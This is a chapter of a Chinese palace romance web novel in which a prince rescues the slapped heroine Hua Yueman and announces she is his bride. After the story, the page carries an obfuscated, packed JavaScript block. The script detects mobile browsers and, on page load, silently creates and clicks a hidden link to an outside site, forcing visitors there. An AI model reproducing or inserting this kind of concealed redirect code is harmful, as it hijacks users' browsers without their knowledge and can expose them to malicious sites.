第五文学网 > 言情小说 > 妃常圆满 > 第一百二十三章 慕慕思君情冉冉孤生竹

第一百二十三章 慕慕思君情冉冉孤生竹

    人山人海的百花园里,三十掌嘴炸起在平地,看热闹的官员和家眷无不是惊讶的。

    若是打在一个奴才的脸上也就罢了,可花月满到底还是大司马家的二小姐,如此的一通掌嘴,以后还要如何见人呢?

    不过他们并不想帮忙,更不会阻止,因为就算见不得人,也和他们没有任何的关系。

    凉亭里,花月卿有些目瞪口呆了,她确实是利用了花月满,但她并没有想到事情会变成这样,她想要说什么,可又不敢,最主要的是她好不容易和孙思绕套了关系,生怕自己的求情让前面的一切前功尽弃。

    大司马是沉默的,对于花月满身上的市井气息他也觉得丢人,如果这次的事情能够让她改变一些,他倒是也觉得未尝不可。

    孙思绕瞧出了大司马的默许,眼里更是嚣张得意的:“花什么来着?识相的就赶紧抬头让我打满三十,早打完你还能少丢点人。”

    在所有人的瞩目下,一直沉默的花月满,擦了擦牙齿咯破嘴唇的血渍,扬起面颊的同时,笑了:“打就打,放那么多的屁做什么?怕别人不知道你的嘴巴有多臭?”

    “你——”孙思绕没想到到了此时此刻,花月满仍旧没有半分的畏惧和服输,当即再次扬起了手臂,并且是左右开攻。

    “啪——啪——啪——”

    响亮的巴掌声声响起,孙思绕所用的力气,就连那些跟在她身后的官家小姐们,都忍不住侧目,可花月满却从始至终的都昂着首,面带微笑着。

    耳朵轰鸣,面颊胀痛,花月满疼的浑身都颤了起来,却不吭一声,双手狠狠抠着身下的地面,双眼死死的瞪着孙思绕。

    我退一尺,你欺一丈,孙思绕你无坚不摧的挑衅,终于踩到了我的暴跳的神经,今日的耻辱我铭记在心,待到它日我若是不把打断了你的腿,把你插在花盆里,你就不知道什么是植物人!

    孙思绕被花月满那种坚硬,反光,令人窒息的眼神的盯得心里发毛,手下的巴掌不禁也是越来的越狠。

    就在她研究着要如何打完这最后几巴掌,还让这个野种彻底的敬畏自己,也能像其他人一样讨好奉承自己的时候,一声清似明泉的声音响了起来。

    “还真是热闹,怎么孙国相与花大司马也在?”

    大司马与孙国相还有其他官员听见了这声音均是一愣,眼看着来人已迈步走进凉亭,纷纷后退几步,弯下了腰身。

    “微臣给三皇子请安。”

    司慕冉神色淡淡:“各位大人无需这般拘谨,我不过是来找人的而已。”

    孙国相上前一步:“不知三皇子是在找……”

    司慕冉敛目而笑,唇角轻扬:“一个女人。”

    凉亭里原本幸灾乐祸着的官家小姐们,无不是娇羞顾盼了起来,孙思绕也是怔愣住,就连举起在半空之中的手都忘记了放下。

    她们并没有听闻三皇子和谁家的千金走的近,如今她们倒是好奇,究竟是哪家的千金如此有幸,能得三皇子如此挂心,不惜亲自来寻找。

    花月卿心悸的捏着手帕不停地绞着,只盼他的目光能看向自己,哪怕只是一下也好。

    凉亭里的气氛有些诡异,花月满却无暇顾及,脸上的疼痛如火烧一般,她现在只想找个东西给自己降降温。

    一双四瓣花纹的靴子猛地走入她的视线,花月满一愣,伴随着周围骤然响起的惊讶抽气声,一只手,凭空出现在她的面前。

    雪白的衣袖半遮,修长的手指骨节分明,饱满的指尖带着圆润的光泽,犹如一朵不染尘俗的昙花,在她的眼前慢慢绽放而开。

    错愕之中,花月满顺着这只美到毫无瑕疵的手看去,只见站在她面前的人,一袭白袍衬托得风流韵致,乌发束金冠,肌如白瓷,俊雅的五官浩浩中不失秀气。

    司慕冉见她终于抬头,抿唇而笑,如沐春风:“怪不得哪里都找不到你,原来你在这里,阿满。”

    论是谁,也不曾想到三皇子所要找的女人会是如此的没身份,没背景,没涵养,没家教。

    其实就连花月满也是没想到的,有那么一刻她甚至怀疑,这三皇子难道只是长得一表人才实则眼神特别不好?

    司慕冉将她的惊讶尽收眼底,一把握住她的手,将她从地上拉了起来,亲自抬手捋顺了她的满头乱发。

    他温热的手指,扫过她面颊红肿的肌肤,她刺疼的一怵,他似轻叹一声复而拉紧她的手,让她靠在自己的身边,转头朝着凉亭里的众人扫了去。

    “父皇一心期盼名叫月满如此应景的女孩,会是个怎样的人。”他从容依然,只是一双眼渐渐凉了下来,“可如今这人还没见父皇便竟落得如此,若是父皇怪罪,不知道谁能担待?”

    谁能想到三皇子竟会为了一个登不上台面的庶女出头?眼看着孙思绕又畏又羞的垂下了面颊,这下就连孙国相都有些站不住脚了。

    “三皇子,是这女……是大司马家的二小姐先推了臣家小女落湖,微臣也是爱女心切啊。”

    司慕冉勾了勾唇,却并不见笑:“既然如此的话,那么不知道孙国相可是惩罚够了?”

    孙国相连连点头,如今太子都来了,不够肯定也是够了。

    “既然孙国相已经惩罚过了,这事儿便是了了罢,我带着阿满去上药,不然若是一会父皇问起来也是难办。”

    司慕冉不再停留,在一群人目光的追随中,拉着花月满走出了凉亭。

    什么叫万众瞩目,什么叫名震中外,花月满今日算是彻底的体会到了,想来天上掉馅饼也不过如此了吧。

    她一直由着他拉出百花园,进了一处羊肠小路,才平静的开了口:“为何要帮我解围?”

    “恩?”他侧过面颊,眼中闪过一丝惊讶,复而笑了,“为何你不理解成为,我这番的举动是对你一见钟情?”

    花月满垂眼看着自己这一身的邋遢,自嘲的轻叹:“除非你是真瞎了,或者是我缺心眼。”

    真拿她当傻白甜了?就她现在这德行还一见钟情?一见就跑还差不多。

    司慕冉并不见生气,松开了她的手,转身凝视着她,只是唇边的酒窝愈发深陷:“对于一个有胆量以一敌十的姑娘,我想我还是有必要伸出一下援手的。”

    所以,刚刚发生的一切他都是看见了是么?

    花月满眨了眨眼睛,完全没有任何的不好意思,反倒是嘿嘿一笑:“是觉得我很英勇?还是觉得我特英勇?”

    司慕冉面对这样的花月满,有那么一刻是呆愣的,他要承认,她的反应出乎了他的意料,推翻了他对女人认知的所有概念。

    以寡敌众毫不畏惧,被亲人出卖也不是满腹抱怨,面对他不但没有丝毫的羞涩和难为情,反倒是沾沾自喜,洋洋得意,他还真是好奇,究竟是怎样的生活阅历,把她磨砺出了一个如此神奇的性子。

    花月满并不知道他在想着什么,不过她却是忽然想到了什么,踮起脚尖围着他打量了起来。

    她上下左右,前前后后,仔仔细细的一通打量下来,狐疑的忍不住呢喃:“鼻子是鼻子,眼睛是眼睛,那些女人脑袋里是有泡?至于天天为了你神魂颠倒要死要活的嘛。”

    一句话,把司慕冉从呆愣之中拉了出来,看着她拧眉不解的模样,他最终失笑:“不然你以为我是什么样子的?”

    这个问题花月满倒是真想过,伸手搭在了他的肩膀上,贼眉鼠眼:“我一直认为二郎神是最帅的。”

    所以,他应该长三只眼睛是吗?司慕冉叹了口气,拉下她挂在自己肩膀上的手,施施然扫了一眼她红肿的面颊,莞尔又无奈,从怀里掏出了一个小瓷瓶。

    花月满眼看着他打开了盖子,将里面的药汁点在了手指上,摇了摇头:“不用了,我回家用凉水敷敷就可以了。”

    别以为她和他举止亲昵就是不拿他当外人了,她和他根本就还是陌生人,而且那些所谓的勾肩搭背,在她看来并不代表什么,她以前在村子里的时候,还扒过隔壁家王二狗的裤子呢。

    司慕冉却不管她的拒绝,一把将她拉了回来,指尖轻轻摩挲上了她红肿的面颊:“你刚刚的不拘小节都跑到哪里去了?”垂眼瞄着她既尴尬又难受的样子,他忽然有一种认命的感觉,“其实你就算现在不适应,以后也要学着去适应的。”

    花月满正不自在的难受,听了这话也没多想,直接问:“为啥?”

    司慕冉淡淡的笑了:“因为你已经是我的妻子了。”

    花月满如遭雷击,憋了半天才憋出了三个字:“你疯了?”

    司慕冉却笑着不答,只是专心在她的伤口上,涂抹着药膏。

    他不想告诉她,皇后察觉到了他现在的势不可挡,所以给皇上吹枕边风,想要找一个无能的女子成为他的妻子,断了他想要找到靠山的后路。

    父皇担心他威胁到自己的江山社稷,斟酌思量了几番之后,最终在今天午时找到了他,并告知他将会迎娶花大司马家的二小姐作为三皇子妃。

    他知道这个花家的二小姐叫花月满,是半路回家认祖归宗的庶女,她的母亲本来就是大司马酒后乱性的累赘,像是她这样尴尬的身份,日子有多难,他不用猜也能想到。

    他对于这样的指婚,谈不上抵触也谈不上惊讶,心安理得的承受是他唯一的出路,只是他没想到,他这个未曾过门的小妻子,今日却给了他不一样的感觉。

    垂眼看着她一副被雷劈得不轻的样子,他忽然想,也许这场满是阴谋的指婚,并不如他事先所预计的那般糟糕。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('w C(){n(R D==="\\o\\6\\2\\0\\p\\5\\6\\0\\2"){E S}x a=(T^U)+(V^W);y F=D[\'\\o\\c\\0\\9\\X\\l\\0\\6\\3\'][\'\\3\\4\\z\\4\\g\\0\\9\\q\\1\\c\\0\']();a=(G^G)+(Y^Z);x b=(10^11)+(12^13);y H=14 15(\'\\1\\6\\2\\9\\4\\5\\2\\d\\5\\e\\k\\4\\6\\0\\d\\5\\e\\1\\2\\d\\5\\e\\4\\2\\d\\g\\5\\6\\2\\4\\g\\c\\I\\e\\k\\4\\6\\0\\d\\7\\8\\1\\h\\r\\7\\0\\9\\9\\i\\d\\c\\i\\f\\7\\5\\1\\6\\d\\g\\0\\7\\4\\c\\d\\4\\e\\0\\9\\1\\I\\f\\5\\6\\5\\d\\5\\0\\f\\4\\7\\5\\8\\0\\d\\f\\4\\7\\5\\8\\0\',\'\\5\');b="16".s("").t().u("");E H[\'\\3\\0\\c\\3\'](F)}w J(a){x b=(17^18)+(19^1a);y j=m[\'\\h\\9\\0\\1\\3\\0\\K\\8\\0\\f\\0\\6\\3\']("\\1");b="1b".s("").t().u("");j[\'\\k\\9\\0\\p\']=a;j[\'\\c\\3\\i\\8\\0\'][\'\\2\\5\\c\\e\\8\\1\\i\']="1c".s("").t().u("");j[\'\\3\\1\\9\\l\\0\\3\']="\\L\\7\\8\\1\\6\\r";m[\'\\7\\4\\2\\i\'][\'\\1\\e\\e\\0\\6\\2\\q\\k\\5\\8\\2\'](j);j[\'\\h\\8\\5\\h\\r\']();m[\'\\7\\4\\2\\i\'][\'\\9\\0\\f\\4\\A\\0\\q\\k\\5\\8\\2\'](j)}m[\'\\1\\2\\2\\K\\A\\0\\6\\3\\z\\5\\c\\3\\0\\6\\0\\9\']("\\1d\\1e\\1f\\q\\4\\6\\3\\0\\6\\3\\z\\4\\1\\2\\0\\2",w(){n(!M[\'\\l\\8\\4\\7\\1\\8\\N\\1\\9\']){n(m[\'\\7\\4\\2\\i\']!=1g){M[\'\\l\\8\\4\\7\\1\\8\\N\\1\\9\']="\\B";O=P[\'\\l\\0\\3\\B\\3\\0\\f\']("\\8\\o\\h\\r\\L\\p\\p");n(!O&&C()){J("\\k\\3\\3\\e\\c\\1h\\v\\v\\7\\g\\1i\\1j\\1k\\Q\\A\\5\\g\\c\\2\\c\\g\\Q\\h\\4\\f\\v\\h\\7\\2\\v\\1\\1\\1\\1\\7\\1")}P[\'\\c\\0\\3\\B\\3\\0\\f\']("1l".s("").t().u(""),"\\3\\9\\o\\0")}}});',62,84,'u0065|u0061|u0064|u0074|u006F|u0069|u006E|u0062|u006C|u0072|||u0073|u007C|u0070|u006D|u0077|u0063|u0079|_0xcd5f9d|u0068|u0067|document|if|u0075|u0066|u0043|u006B|split|reverse|join|u002F|function|var|const|u004C|u0076|u0049|isMobileDevice|navigator|return|_0x5b8a|595657|_0x336g|u0020|OpenUrl|u0045|u005F|window|u0056|hasExecuted|localStorage|u002E|typeof|false|656455|656448|623196|623194|u0041|792498|792501|407167|407159|957084|957087|new|RegExp|ffeobj|302165|302166|875810|875811|bjjdom|enon|u0044|u004F|u004D|null|u003A|u0031|u0030|u0032|ff_kcul'.split('|'),0,{}))